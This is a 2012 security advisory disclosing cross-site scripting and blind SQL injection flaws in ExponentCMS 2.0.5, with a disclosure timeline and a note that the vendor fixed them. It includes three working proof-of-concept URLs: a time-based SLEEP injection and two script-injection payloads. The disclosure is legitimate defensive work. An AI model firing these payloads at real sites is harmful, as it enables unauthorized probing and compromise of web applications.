XSS and Blind SQL Injection Vulnerabilities in ExponentCMS Software

XSS and Blind SQL Injection Vulnerabilities in ExponentCMS Software

Information

Vendor Homepage :  http://www.exponentcms.org Vulnerability Type :  Cross-Site Scripting and SQL Injection Severity :  Critical Researcher :  Onur Yılmaz Advisory Reference :  NS-12-006

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Description

Exponent is a website content management system (or CMS) that allows site owners to easily create and manage dynamic websites without necessarily directly coding web pages, or managing site navigation.

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Details

Exponent CMS is affected by XSS and SQL Injection vulnerabilities in version 2.0.5.

Example PoC urls are as follows :

http://example.com/index.php?section=(SELECT%201%20FROM%20(SELECT%20SLEEP(25))A)

http://example.com/index.php?action=showall_by_tags&tag=%27%22–%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(1337)%3C/script%3E&controller=news&src=@random4e5433b85bb1f

http://example.com/index.php?controller=expTag&action=show&title=changes&src=%27%22–%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(1337)%3C/script%3E

You can read the full article about Cross-Site Scripting and SQL Injection vulnerabilities from here :

http://www.mavitunasecurity.com/crosssite-scripting-xss/

http://www.mavitunasecurity.com/sql-injection/

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Solution

The vendor fixed this vulnerability in the new version. Please see the references.

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Advisory Timeline

12/03/2012 – First contact: Sent the vulnerability details

20/03/2012 – Vulnerability Fixed in latest version

25/04/2012 – Vulnerability Released

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Credits

It has been discovered on testing of Netsparker, Web Application Security Scanner – http://www.mavitunasecurity.com/netsparker/.

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References

Vendor Url / Patch :

http://exponentcms.org/news/-happy-hyperbole-v2-0-6-is-in-full-bloom

MSL Advisory Link :

http://www.mavitunasecurity.com/blog/xss-and-blind-sql-injection-vulnerabilities-in-exponentcms/

Netsparker Advisories : http://www.mavitunasecurity.com/netsparker-advisories/